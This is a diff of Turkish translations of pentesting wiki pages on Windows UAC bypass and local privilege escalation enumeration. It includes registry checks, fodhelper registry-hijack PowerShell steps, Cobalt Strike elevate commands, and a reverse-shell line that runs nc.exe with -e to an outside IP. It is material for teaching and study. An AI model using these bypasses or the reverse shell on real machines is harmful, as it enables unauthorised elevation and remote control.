Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Etkin | -| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Etkin | -| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Etkin | +| Group Policy Setting | Kayıt Defteri Anahtarı | Varsayılan Ayar | +| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------- | ----------------------------------------------------------- | +| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Devre Dışı | +| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Devre Dışı | +| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin| Windows dışı ikili dosyalar için onay iste | +| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Güvenli masaüstünde kimlik bilgilerini iste | +| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Etkin (ev için varsayılan) Devre Dışı (kurumsal için varsayılan) | +| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Devre Dışı | +| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Etkin | +| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Etkin | +| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Etkin | +| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Etkin | -### UAC Bypass Teorisi +### UAC Bypass Theory -Bazı programlar, kullanıcı **administrator grubuna aitse** **otomatik olarak yükseltilir (autoelevated)**. Bu ikili dosyaların içindeki _**Manifests**_ bölümünde _**autoElevate**_ seçeneği _**True**_ olarak ayarlanmıştır. İkili dosyanın ayrıca **Microsoft tarafından imzalanmış** olması gerekir. +Bazı programlar, **kullanıcı administrator grubuna aitse** **otomatik olarak yükseltilir**. Bu ikili dosyaların Manifestlerinde _autoElevate_ seçeneği değeri _True_ olarak bulunur. Ayrıca ikili dosyanın **Microsoft tarafından imzalanmış** olması gerekir. -Birçok auto-elevate süreci, medium integrity (normal kullanıcı düzeyi ayrıcalıklarıyla çalışan) süreçlerden çağrılabilen **COM objeleri veya RPC sunucuları aracılığıyla işlevsellik** sunar. COM (Component Object Model) ve RPC (Remote Procedure Call), Windows programlarının farklı süreçler arasında iletişim kurup fonksiyonları çalıştırmak için kullandığı yöntemlerdir. Örneğin, **`IFileOperation COM object`** dosya işlemlerini (kopyalama, silme, taşıma) ele almak üzere tasarlanmıştır ve uyarı göstermeden otomatik olarak ayrıcalıkları yükseltebilir. +Birçok auto-elevate işlemi, medium integrity (normal kullanıcı düzeyi ayrıcalıklarıyla) çalışan süreçlerden çağrılabilen **COM nesneleri veya RPC sunucuları aracılığıyla** işlevsellik sunar. COM (Component Object Model) ve RPC (Remote Procedure Call), Windows programlarının farklı süreçler arasında iletişim kurup işlevleri çalıştırmak için kullandığı yöntemlerdir. Örneğin, **`IFileOperation COM object`** dosya işlemlerini (kopyalama, silme, taşıma) yönetmek için tasarlanmıştır ve uyarı göstermeden ayrıcalıkları otomatik olarak yükseltebilir. -Bazı kontrollerin, örneğin işlemin **System32 dizininden** çalıştırılıp çalıştırılmadığını kontrol etmesi gibi kontroller yapılabileceğini unutmayın; bu tür kontroller, örneğin **explorer.exe'ye enjeksiyon** yapmak veya System32 konumunda bulunan başka bir yürütülebilir dosyaya enjeksiyonla atlatılabilir. +Bazı kontroller yapılabilir; örneğin sürecin **System32 dizininden** çalıştırılıp çalıştırılmadığı kontrol edilebilir. Bu tür kontroller, örneğin **explorer.exe içine inject etmek** veya başka bir System32 konumunda bulunan yürütülebilir dosyaya müdahale ederek atlatılabilir. -Bu kontrolleri atlatmanın bir diğer yolu PEB'i **değiştirmektir**. Windows'taki her sürecin bir Process Environment Block (PEB) vardır; bu blok süreç hakkında yürütülebilir yol gibi önemli verileri içerir. PEB'i değiştirerek, saldırganlar kendi kötü amaçlı süreçlerinin konumunu sahte (spoof) şekilde gösterebilir ve sürecin güvenilir bir dizinden (ör. system32) çalışıyormuş gibi görünmesini sağlayabilir. Bu taklit edilmiş bilgi, COM objesini kullanıcıya sormadan otomatik olarak ayrıcalıkları yükseltmek için kandırır. +Bu kontrolleri atlatmanın bir başka yolu da **PEB'i değiştirmektir**. Windows'taki her sürecin Process Environment Block (PEB) adlı bir yapısı vardır; bu yapı, yürütülebilir yol gibi süreçle ilgili önemli verileri içerir. PEB'i değiştirerek, saldırganlar kendi kötü amaçlı süreçlerinin konumunu sahteleyebilir (spoof), sürecin güvenilen bir dizinden (ör. system32) çalışıyor gibi görünmesini sağlayabilir. Bu sahte bilgi, COM nesnesini uyarı göstermeden ayrıcalıkları otomatik olarak yükseltmesi için kandırır. -Daha sonra, UAC'yi **atlatmak (yani medium integrity seviyesinden high'a yükselmek)** için bazı saldırganlar bu tür ikilileri kullanarak **rastgele kod çalıştırır**, çünkü kod **High integrity** seviyesindeki bir süreçten çalıştırılacaktır. +Daha sonra UAC'yi **atlatmak** (medium integrity seviyesinden **high** seviyeye yükselmek) için bazı saldırganlar bu tür ikili dosyaları **keyfi kod yürütmek** amacıyla kullanır; çünkü kod, **High level integrity** işlemi içinde çalıştırılacaktır. -Bir ikilinin _**Manifest**_'ini kontrol etmek için Sysinternals'tan _**sigcheck.exe**_ aracını kullanabilirsiniz. (`sigcheck.exe -m `) Ve süreçlerin **integrity seviyesini** görmek için _Process Explorer_ veya _Process Monitor_ (Sysinternals) kullanabilirsiniz. +Bir ikili dosyanın Manifest'ini kontrol etmek için Sysinternals'tan _sigcheck.exe_ aracını kullanabilirsiniz. (`sigcheck.exe -m `) Ve süreçlerin **integrity level** değerini görmek için _Process Explorer_ veya _Process Monitor_ (Sysinternals) kullanabilirsiniz. ### UAC Kontrolü @@ -52,38 +53,38 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA REG_DWORD 0x1 ``` -Eğer **`1`** ise UAC **etkinleştirilmiş**, eğer **`0`** ise veya mevcut değilse UAC **devre dışı**. +Eğer **`1`** ise UAC **etkinleştirilmiş**, eğer **`0`** ise veya **var değilse**, UAC **etkin değil**. -Sonra, **hangi seviyenin** yapılandırıldığını kontrol edin: +Sonra, **hangi seviye**nin yapılandırıldığını kontrol edin: ``` REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System ConsentPromptBehaviorAdmin REG_DWORD 0x5 ``` -- Eğer **`0`** ise, UAC uyarısı gelmez (yani **devre dışı**) -- Eğer **`1`** ise yöneticiye yüksek haklarla binary'yi çalıştırmak için **kullanıcı adı ve parola sorulur** (Secure Desktop üzerinde) -- Eğer **`2`** (**Always notify me**) yönetici yüksek ayrıcalıkla bir şey çalıştırmayı denediğinde UAC her zaman onay ister (Secure Desktop üzerinde) -- Eğer **`3`** `1` gibidir ama Secure Desktop gerekli değildir -- Eğer **`4`** `2` gibidir ama Secure Desktop gerekli değildir -- Eğer **`5`** (**varsayılan**) Windows olmayan binary'leri yüksek ayrıcalıklarla çalıştırmak için yöneticiden onay ister +- Eğer **`0`** ise, UAC uyarısı çıkmaz (örneğin **devre dışı**) +- Eğer **`1`** ise, yöneticiye binary'i yüksek haklarla çalıştırması için **kullanıcı adı ve parola sorulur** (on Secure Desktop) +- Eğer **`2`** (**Always notify me**) UAC, yönetici yüksek ayrıcalık gerektiren bir şeyi çalıştırmaya çalıştığında her zaman onay ister (on Secure Desktop) +- Eğer **`3`** `1` ile aynı, ancak Secure Desktop üzerinde olmak zorunda değil +- Eğer **`4`** `2` ile aynı, ancak Secure Desktop üzerinde olmak zorunda değil +- Eğer **`5`**(**default**) yöneticiye non Windows binary'leri yüksek ayrıcalıklarla çalıştırmak için onay sorar -Sonra, **`LocalAccountTokenFilterPolicy`** değerine bakmalısınız.\ -Eğer değer **`0`** ise, yalnızca **RID 500** kullanıcısı (yerleşik Yönetici) **UAC olmadan yönetici görevlerini** yerine getirebilir; eğer **`1`** ise, **"Administrators"** grubundaki tüm hesaplar bunu yapabilir. +Sonra, **`LocalAccountTokenFilterPolicy`** değerine bakmalısınız\ +Eğer değer **`0`** ise, yalnızca **RID 500** kullanıcı (**built-in Administrator**) **UAC olmadan yönetici görevlerini** yapabilir, ve eğer `1` ise, **"Administrators"** grubundaki tüm hesaplar bunları yapabilir. -Ve son olarak **`FilterAdministratorToken`** anahtarının değerine bakın.\ -Eğer **`0`** (varsayılan) ise, yerleşik Administrator hesabı uzak yönetim görevlerini yapabilir; eğer **`1`** ise yerleşik Administrator hesabı uzak yönetim görevlerini yapamaz, ancak `LocalAccountTokenFilterPolicy` `1` olarak ayarlanmışsa yapabilir. +Ve son olarak **`FilterAdministratorToken`** anahtarının değerine bakın\ +Eğer **`0`** (varsayılan), **built-in Administrator account** uzak yönetim görevlerini yapabilir ve eğer **`1`** ise built-in Administrator hesabı uzak yönetim görevlerini **yapamaz**, `LocalAccountTokenFilterPolicy` `1` olarak ayarlanmadıkça. #### Summary -- If `EnableLUA=0` or **doesn't exist**, **no UAC for anyone** -- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , No UAC for anyone** -- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, No UAC for RID 500 (yerleşik Yönetici)** -- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, UAC for everyone** +- Eğer `EnableLUA=0` veya **mevcut değilse**, **hiç kimse için UAC yok** +- Eğer `EnableLua=1` ve **`LocalAccountTokenFilterPolicy=1`**, kimse için UAC yok +- Eğer `EnableLua=1` ve **`LocalAccountTokenFilterPolicy=0` ve `FilterAdministratorToken=0`**, RID 500 (Built-in Administrator) için UAC yok +- Eğer `EnableLua=1` ve **`LocalAccountTokenFilterPolicy=0` ve `FilterAdministratorToken=1`**, herkes için UAC vardır -Tüm bu bilgiler **metasploit** modülü ile toplanabilir: `post/windows/gather/win_privs` +Tüm bu bilgiler **metasploit** modülü kullanılarak toplanabilir: `post/windows/gather/win_privs` -Ayrıca kullanıcı gruplarınızı kontrol edebilir ve integrity level'ınızı öğrenebilirsiniz: +Ayrıca kullanıcı grubunuzu kontrol edebilir ve integrity level'ınızı görebilirsiniz: ``` net user %username% whoami /groups | findstr Level @@ -91,15 +92,15 @@ whoami /groups | findstr Level ## UAC bypass > [!TIP] -> Hedefin grafiksel arayüzüne erişiminiz varsa, UAC bypass çok basittir; UAC istemi göründüğünde sadece "Yes"e tıklayabilirsiniz +> Eğer hedefe grafiksel erişiminiz varsa, UAC bypass oldukça basittir; UAC istemi göründüğünde basitçe "Yes"e tıklayabilirsiniz -UAC bypass şu durumda gereklidir: **UAC etkin, işleminiz medium integrity context içinde çalışıyor ve kullanıcı hesabınız administrators grubuna ait**. +UAC bypass şu durumda gereklidir: **UAC etkin, işleminiz medium integrity context içinde çalışıyor ve kullanıcı administrators group üyesi**. -Belirtmek gerekir ki, **UAC en yüksek güvenlik seviyesindeyse (Always), diğer herhangi bir seviyedeyken (Default) olduğuna kıyasla atlatmak çok daha zordur.** +Belirtmek gerekir ki, UAC en yüksek güvenlik seviyesindeyse (Always) atlatmak **diğer seviyelerden (Default) çok daha zordur**. ### UAC devre dışı -Eğer UAC zaten devre dışıysa (`ConsentPromptBehaviorAdmin` **`0`**) şu gibi bir şey kullanarak (high integrity level) **admin privileges ile bir reverse shell çalıştırabilirsiniz:** +Eğer UAC zaten devre dışıysa (`ConsentPromptBehaviorAdmin` is **`0`**) şu gibi bir şey kullanarak **execute a reverse shell with admin privileges** (high integrity level) çalıştırabilirsiniz: ```bash #Put your reverse shell instead of "calc.exe" Start-Process powershell -Verb runAs "calc.exe" @@ -110,9 +111,9 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10 - [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/) - [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html) -### **Çok Temel** UAC "bypass" (full file system access) +### **Çok** Temel UAC "bypass" (tam dosya sistemi erişimi) -Eğer Administrators grubunun içinde bir kullanıcıyla shell'e sahipseniz, SMB üzerinden paylaşılan **mount the C$**'ı yerel olarak yeni bir diske bağlayabilir ve file system içindeki her şeye **erişiminiz olur** (hatta Administrator home folder). +Eğer Administrators grubunda olan bir kullanıcıyla shell'e sahipseniz, SMB üzerinden paylaşılan **C$'ı mount ederek** yeni bir diske yerel olarak bağlayabilir ve dosya sistemi içindeki her şeye (hatta Administrator'ın ev klasörüne) **erişim** sağlayabilirsiniz. > [!WARNING] > **Görünüşe göre bu hile artık çalışmıyor** @@ -125,7 +126,7 @@ dir \\127.0.0.1\c$\Users\Administrator\Desktop ``` ### UAC bypass ile cobalt strike -Cobalt Strike teknikleri yalnızca UAC maksimum güvenlik seviyesinde ayarlı değilse çalışır. +Cobalt Strike teknikleri yalnızca UAC maksimum güvenlik seviyesine ayarlı değilse çalışır. ```bash # UAC bypass via token duplication elevate uac-token-duplication [listener_name] @@ -145,10 +146,10 @@ Dokümantasyon ve araç: [https://github.com/wh0amitz/KRBUACBypass](https://gith ### UAC bypass exploits -[**UACME** ](https://github.com/hfiref0x/UACME) birkaç UAC bypass exploits içeren bir **derlemedir**. Dikkat: **UACME'yi visual studio veya msbuild kullanarak derlemeniz gerekecek**. Derleme birkaç çalıştırılabilir dosya oluşturacaktır (ör. `Source\Akagi\outout\x64\Debug\Akagi.exe`), hangi dosyaya **ihtiyaç duyduğunuzu** bilmeniz gerekecek.\ -**Dikkatli olun**, çünkü bazı bypass'lar bazı diğer programları **tetikleyebilir** ve bu programlar **kullanıcıyı** bir şeylerin olduğunu **uyarabilir**. +[**UACME**](https://github.com/hfiref0x/UACME) birkaç UAC bypass exploit'inin bir **compilation**'ıdır. Unutmayın: **compile UACME using visual studio or msbuild** gerekecektir. The compilation birkaç executables (like `Source\Akagi\outout\x64\Debug\Akagi.exe`) oluşturacaktır; **hangisine ihtiyacınız olduğunu** bilmeniz gerekecek.\ +**Dikkatli olmalısınız** çünkü bazı bypass'lar **başka bazı programları tetikleyebilir** ve bu programlar **uyarı** ile **kullanıcıyı** bir şeylerin olduğunu bildirebilir. -UACME, **her tekniğin hangi build sürümünden itibaren çalışmaya başladığını** gösterir. Sürümlerinizi etkileyen bir teknik arayabilirsiniz: +UACME, her tekniğin çalışmaya başladığı **build version from which each technique started working** bilgisine sahiptir. Sürümlerinizi etkileyen bir teknik için arama yapabilirsiniz: ``` PS C:\> [environment]::OSVersion.Version @@ -156,17 +157,17 @@ Major Minor Build Revision ----- ----- ----- -------- 10 0 14393 0 ``` -Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions. +Ayrıca, [this](https://en.wikipedia.org/wiki/Windows_10_version_history) sayfasını kullanarak build sürümlerinden Windows sürümü `1607`'yi elde edersiniz. ### UAC Bypass – fodhelper.exe (Registry hijack) -Güvenilen ikili `fodhelper.exe` modern Windows sürümlerinde otomatik olarak yükseltilir. Başlatıldığında, `DelegateExecute` verbünü doğrulamadan aşağıdaki kullanıcıya özel kayıt defteri yolunu sorgular. Oraya bir komut yerleştirmek, bir Medium Integrity sürecinin (kullanıcı Administrators grubunda) UAC prompt olmadan bir High Integrity süreci başlatmasına olanak verir. +Güvenilen ikili `fodhelper.exe` modern Windows'ta otomatik olarak yükseltilir. Başlatıldığında, `DelegateExecute` eylemini doğrulamadan aşağıdaki kullanıcıya özel kayıt defteri yolunu sorgular. Oraya bir komut yerleştirmek, (kullanıcı Administrators grubundaysa) bir Medium Integrity sürecinin UAC istemi olmadan bir High Integrity süreci başlatmasına olanak sağlar. -Registry path queried by fodhelper: +fodhelper tarafından sorgulanan kayıt defteri yolu: ``` HKCU\Software\Classes\ms-settings\Shell\Open\command ``` -PowerShell adımları (payload'unuzu ayarlayın, sonra trigger edin): +PowerShell adımları (payload'unuzu ayarlayın, sonra tetikleyin): ```powershell # Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition" @@ -186,44 +187,44 @@ Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe" Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force ``` Notlar: -- Mevcut kullanıcı Administrators grubunun bir üyesi olduğunda ve UAC seviyesi varsayılan/esnek olduğunda işe yarar (Always Notify ile ek kısıtlamalar olduğunda çalışmaz). -- 64-bit Windows'ta 32-bit bir process'ten 64-bit PowerShell başlatmak için `sysnative` yolunu kullanın. -- Payload herhangi bir komut (PowerShell, cmd veya bir EXE yolu) olabilir. Stealth için uyarı gösteren UI'ları tetiklemekten kaçının. +- Geçerli kullanıcı Administrators üyesi olduğunda ve UAC seviyesi varsayılan/gevşek (Always Notify ile ekstra kısıtlamalar değil) ise çalışır. +- 64-bit Windows üzerinde 32-bit bir süreçten 64-bit PowerShell başlatmak için `sysnative` yolunu kullanın. +- Payload herhangi bir komut olabilir (PowerShell, cmd veya bir EXE yolu). Gizlilik için isteme/dialog pencereleri açmaktan kaçının. #### Daha fazla UAC bypass -**All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough). +**Burada kullanılan tüm** teknikler UAC'yi atlatmak için kurbanla **full interactive shell** **gerektirir** (yaygın bir nc.exe shell yeterli değildir). -You can get using a **meterpreter** session. Migrate to a **process** that has the **Session** value equals to **1**: +Bunu bir **meterpreter** oturumu kullanarak elde edebilirsiniz. **Session** değeri **1** olan bir **process**'e migrate edin: ![](<../../images/image (863).png>) -(_explorer.exe_ should works) +(_explorer.exe_ çalışmalıdır) ### GUI ile UAC Bypass -Eğer bir **GUI** erişiminiz varsa, UAC istemini aldığınızda onu kabul edebilirsiniz; gerçekten bir bypass'a ihtiyacınız yoktur. Bu nedenle, GUI erişimi UAC'yi bypass etmenize izin verir. +Eğer bir GUI erişiminiz varsa, UAC istemini aldığınızda onu basitçe kabul edebilirsiniz — gerçekten bir bypass'a gerek yoktur. Yani GUI erişimi UAC'yi atlamanızı sağlar. -Ayrıca, eğer birinin kullandığı (muhtemelen RDP ile) bir GUI session elde ederseniz, bazı araçlar administrator olarak çalışıyor olabilir; bu araçlardan örneğin bir **cmd**'yi doğrudan **as admin** olarak UAC tarafından tekrar sorulmadan çalıştırabilirsiniz, örneğin [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Bu biraz daha **stealthy** olabilir. +Ayrıca, biri tarafından kullanılmış (muhtemelen RDP üzerinden) bir GUI oturumu elde ederseniz, bazı araçlar yönetici olarak çalışıyor olacak; bu araçlardan örneğin bir **cmd**'yi **as admin** olarak doğrudan çalıştırabilirsiniz ve UAC tarafından tekrar istenmez — örnek: [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Bu biraz daha **stealthy** olabilir. ### Gürültülü brute-force UAC bypass -Gürültülü olmaktan endişe etmiyorsanız, kullanıcı kabul edene kadar izinleri yükseltmeyi isteyen [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) gibi bir aracı çalıştırabilirsiniz. +Eğer gürültü yapmayı umursamıyorsanız, kullanıcı kabul edene kadar izinleri yükseltmeyi isteyen [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) gibi bir aracı her zaman çalıştırabilirsiniz. ### Kendi bypass'ınız - Temel UAC bypass metodolojisi -If you take a look to **UACME** you will note that **most UAC bypasses abuse a Dll Hijacking vulnerabilit**y (mainly writing the malicious dll on _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html). +Eğer **UACME**'ye bakarsanız, çoğu UAC bypass'ının bir **Dll Hijacking** zafiyetinden yararlandığını görürsünüz (çoğunlukla kötü amaçlı dll'i _C:\Windows\System32_ içine yazarak). Dll Hijacking zafiyetini nasıl bulacağınızı öğrenmek için [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html). -1. Find a binary that will **autoelevate** (check that when it is executed it runs in a high integrity level). -2. With procmon find "**NAME NOT FOUND**" events that can be vulnerable to **DLL Hijacking**. -3. You probably will need to **write** the DLL inside some **protected paths** (like C:\Windows\System32) were you don't have writing permissions. You can bypass this using: -1. **wusa.exe**: Windows 7,8 and 8.1. It allows to extract the content of a CAB file inside protected paths (because this tool is executed from a high integrity level). -2. **IFileOperation**: Windows 10. -4. Prepare a **script** to copy your DLL inside the protected path and execute the vulnerable and autoelevated binary. +1. **autoelevate** yapacak bir binary bulun (çalıştırıldığında yüksek integrity level'da çalıştığını kontrol edin). +2. procmon ile **NAME NOT FOUND** olaylarını bulun; bunlar **DLL Hijacking** için kırılgan olabilir. +3. Muhtemelen yazma izniniz olmayan bazı **korumalı yollar**a (ör. C:\Windows\System32) DLL yazmanız gerekecek. Bunu şu yollarla atlayabilirsiniz: + 1. **wusa.exe**: Windows 7, 8 ve 8.1. Bu araç protected paths içine bir CAB dosyasının içeriğini çıkarmanıza izin verir (çünkü bu araç yüksek integrity level'da çalıştırılır). + 2. **IFileOperation**: Windows 10. +4. DLL'inizi korumalı yola kopyalayıp zafiyetli ve autoelevated binary'i çalıştıracak bir **script** hazırlayın. -### Another UAC bypass technique +### Başka bir UAC bypass tekniği -Consists on watching if an **autoElevated binary** tries to **read** from the **registry** the **name/path** of a **binary** or **command** to be **executed** (this is more interesting if the binary searches this information inside the **HKCU**). +Bir **autoElevated binary**'nin **registry**'den çalıştırılacak bir **binary** veya **command**'ın **name/path**'ini **read** etmeye çalışıp çalışmadığını izlemeye dayanır (binary bu bilgiyi **HKCU** içinde arıyorsa bu daha ilgi çekicidir). ## References - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 366962fcc..97f4cfa63 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -### **Windows yerel privilege escalation vektörlerini aramak için en iyi araç:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Windows local privilege escalation vektörlerini aramak için en iyi araç:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -## Windows Hakkında Temel Bilgiler +## Windows - Temel Teori ### Access Tokens -**Windows Access Tokens'in ne olduğunu bilmiyorsanız, devam etmeden önce aşağıdaki sayfayı okuyun:** +**Devam etmeden önce Windows Access Tokens'ın ne olduğunu bilmiyorsanız aşağıdaki sayfayı okuyun:** {{#ref}} @@ -17,7 +17,7 @@ access-tokens.md ### ACLs - DACLs/SACLs/ACEs -**ACLs - DACLs/SACLs/ACEs hakkında daha fazla bilgi için aşağıdaki sayfayı kontrol edin:** +**ACLs - DACLs/SACLs/ACEs hakkında daha fazla bilgi için aşağıdaki sayfaya bakın:** {{#ref}} @@ -26,7 +26,7 @@ acls-dacls-sacls-aces.md ### Integrity Levels -**Windows'taki integrity levels'in ne olduğunu bilmiyorsanız, devam etmeden önce aşağıdaki sayfayı okuyun:** +**Windows'taki integrity levels'ın ne olduğunu bilmiyorsanız devam etmeden önce aşağıdaki sayfayı okuyun:** {{#ref}} @@ -35,7 +35,7 @@ integrity-levels.md ## Windows Güvenlik Kontrolleri -Windows'ta sistemi enumerate etmenizi engelleyebilecek, executables çalıştırmanızı veya faaliyetlerinizi tespit edebilecek farklı mekanizmalar vardır. Privilege escalation enumeration'a başlamadan önce aşağıdaki sayfayı okuyup tüm bu savunma mekanizmalarını enumerate etmelisiniz: +Windows'ta sistemi **enumerating** yapmanızı, executables çalıştırmanızı veya aktivitelerinizi **detect** edebilecek farklı şeyler vardır. Privilege escalation enumeration'a başlamadan önce aşağıdaki sayfayı **okuyup** bu **defense mechanisms**'ların tamamını **enumerate** etmelisiniz: {{#ref}} @@ -46,7 +46,7 @@ Windows'ta sistemi enumerate etmenizi engelleyebilecek, executables çalıştır ### Sürüm bilgisi enumeration -Windows sürümünde bilinen bir vulnerability olup olmadığını kontrol edin (uygulanan patch'leri de kontrol edin). +Windows sürümünün bilinen bir güvenlik açığı (vulnerability) olup olmadığını kontrol edin (uygulanan yamaları da kontrol edin). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -59,23 +59,23 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### Sürüm Exploits +### Sürüm Exploitleri -This [site](https://msrc.microsoft.com/update-guide/vulnerability) Microsoft güvenlik açıkları hakkında ayrıntılı bilgi aramak için kullanışlı. Bu veritabanında 4.700'den fazla güvenlik açığı var; bu, bir Windows ortamının sunduğu **büyük saldırı yüzeyini** gösterir. +Bu [site](https://msrc.microsoft.com/update-guide/vulnerability), Microsoft güvenlik açıkları hakkında ayrıntılı bilgi aramak için kullanışlıdır. Bu veritabanında 4.700'den fazla güvenlik açığı bulunmaktadır; bu, bir Windows ortamının sunduğu **büyük saldırı yüzeyini** gösterir. **Sistemde** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) -- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas içinde watson gömülü)_ +- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas has watson embedded)_ **Sistem bilgisi ile yerelde** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**Exploit'lerin Github repoları:** +**Exploit'lerin GitHub depoları:** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) @@ -83,7 +83,7 @@ This [site](https://msrc.microsoft.com/update-guide/vulnerability) Microsoft gü ### Ortam -Herhangi bir credential/Juicy bilgi env variables içinde kaydedildi mi? +Herhangi bir credential/Juicy info env variables içinde kaydedilmiş mi? ```bash set dir env: @@ -99,9 +99,9 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` -### PowerShell Transkript dosyaları +### PowerShell Transcript dosyaları -Bunu nasıl 